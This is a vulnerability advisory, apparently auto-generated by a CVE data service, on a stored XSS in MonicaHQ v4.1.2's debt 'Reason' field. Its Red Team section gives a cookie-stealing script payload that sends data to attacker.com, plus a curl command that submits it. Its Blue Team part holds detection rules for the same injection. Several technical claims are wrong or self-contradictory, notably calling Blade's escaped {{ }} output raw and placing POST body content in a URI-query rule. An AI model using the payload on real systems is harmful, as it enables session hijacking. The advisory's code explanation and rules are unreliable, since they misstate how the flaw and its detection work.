CVE-2024-54998
Executive Summary
CVE-2024-54998 is an authenticated Client-Side Injection vulnerability discovered in MonicaHQ v4.1.2, a popular open-source personal relationship manager (PRM). The flaw resides in the Reason parameter during debt creation at /people/h:[id]/debts/create. An authenticated attacker can inject arbitrary client-side scripts, leading to stored Cross-Site Scripting (XSS) attacks. This allows session hijacking, credential theft, or defacement within the context of the victim's browser. The vulnerability has a CVSS score of 0.0 (placeholder) but poses a real risk to user data confidentiality and integrity. No official patch has been confirmed, and no public exploit code is available, but the attack vector is straightforward for authenticated users.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MonicaHQ is a PHP/Laravel application distributed via GitHub and Docker. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own codebase. However, users should verify the integrity of their MonicaHQ installation and monitor for updates from the official repository.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (placeholder; likely 6.1 Medium based on vector)
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires authentication
- User Interaction (UI): Required (R) – victim must visit the debt creation page
- Scope (S): Changed (C) – injected script can affect other resources
- Confidentiality (C): Low (L)
- Integrity (I): Low (L)
- Availability (A): None (N)
- Threat Level: Medium – authenticated XSS can lead to account takeover and data exfiltration.
Deep Dive & Mechanics
The vulnerability occurs in the debt creation form at /people/h:[id]/debts/create. The Reason parameter is not properly sanitized or encoded before being rendered in the HTML response. An authenticated attacker can submit a malicious payload (e.g., <script>alert('XSS')</script>) as the reason. When another user (or the same user) views the debt list, the payload executes in their browser.
Root Cause: Lack of output encoding or input validation on the Reason field. The application likely uses raw output without escaping HTML entities.
Attack Flow:
- Attacker authenticates to MonicaHQ.
- Attacker navigates to
/people/h:[id]/debts/create. - Attacker submits a debt with a malicious
Reasonparameter. - Victim (any authenticated user) views the debt list.
- The injected script executes, stealing cookies, tokens, or performing actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (MonicaHQ v4.1.2):
// In a Blade template or controller
<div>{{ $debt->reason }}</div>
This uses raw Blade output without escaping, allowing HTML/JS injection.
Patched Code (Hypothetical):
<div>{{ e($debt->reason) }}</div>
Or using Laravel's {{ }} which auto-escapes, but if raw output was used, the fix would be to ensure proper escaping.
Exploitation & Lab Setup
Red Team
Prerequisites: Valid MonicaHQ credentials.
Step 1: Craft Payload
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Step 2: Submit via HTTP Request
curl -X POST 'https://target.com/people/h:1/debts/create' \
-H 'Cookie: session=valid_session' \
-d 'reason=<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>&amount=100&date=2024-01-01'
Step 3: Victim Interaction
Victim visits /people/h:1/debts and the script executes.
Blue Team
Detection: Monitor for unusual reason parameters containing <script>, onerror, or javascript: in POST requests to /people/h:* /debts/create.
Prevention: Implement Content Security Policy (CSP) headers to block inline scripts. Use input validation to reject HTML tags in the Reason field.
Hunting: Search logs for reason values containing < or > characters.
Indicators of Compromise (IOCs)
- Network: POST requests to
/people/h:[0-9]+/debts/createwithreasoncontaining<script>oronerror. - Host: Log entries showing
reasonfield with HTML/JS content. - File: No specific file IOCs; the vulnerability is data-driven.
- Registry: N/A
Detection Engineering
YARA Rule
rule CVE_2024_54998_MonicaHQ_XSS {
meta:
description = "Detects XSS payloads in MonicaHQ debt reason field"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-54998"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: MonicaHQ Debt Reason XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in MonicaHQ debt creation requests
author: Valters IT
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/people/h:'
cs-uri-query|contains: '/debts/create'
cs-uri-query|contains|re: '(?:<script|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate use of HTML in reason field (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-54998 MonicaHQ Debt Reason XSS"; flow:to_server; content:"POST"; http_method; content:"/people/h:"; http_uri; content:"/debts/create"; http_uri; pcre:"/(?:<script|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize the
Reasonfield to strip HTML tags usingstrip_tags()or a dedicated HTML purifier. - Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering (Laravel's
{{ }}does this by default; avoid{!! !!}). - CSP Header: Add
Content-Security-Policy: script-src 'self'to block inline scripts. - Update: Monitor the MonicaHQ GitHub repository for patches and upgrade to the latest version.
Long-Term:
- Implement a Web Application Firewall (WAF) rule to block XSS patterns.
- Conduct regular code reviews focusing on input/output handling.
- Use automated security scanning tools (e.g., OWASP ZAP) during development.
Workaround: Disable the debt creation feature temporarily if no patch is available.
Valters IT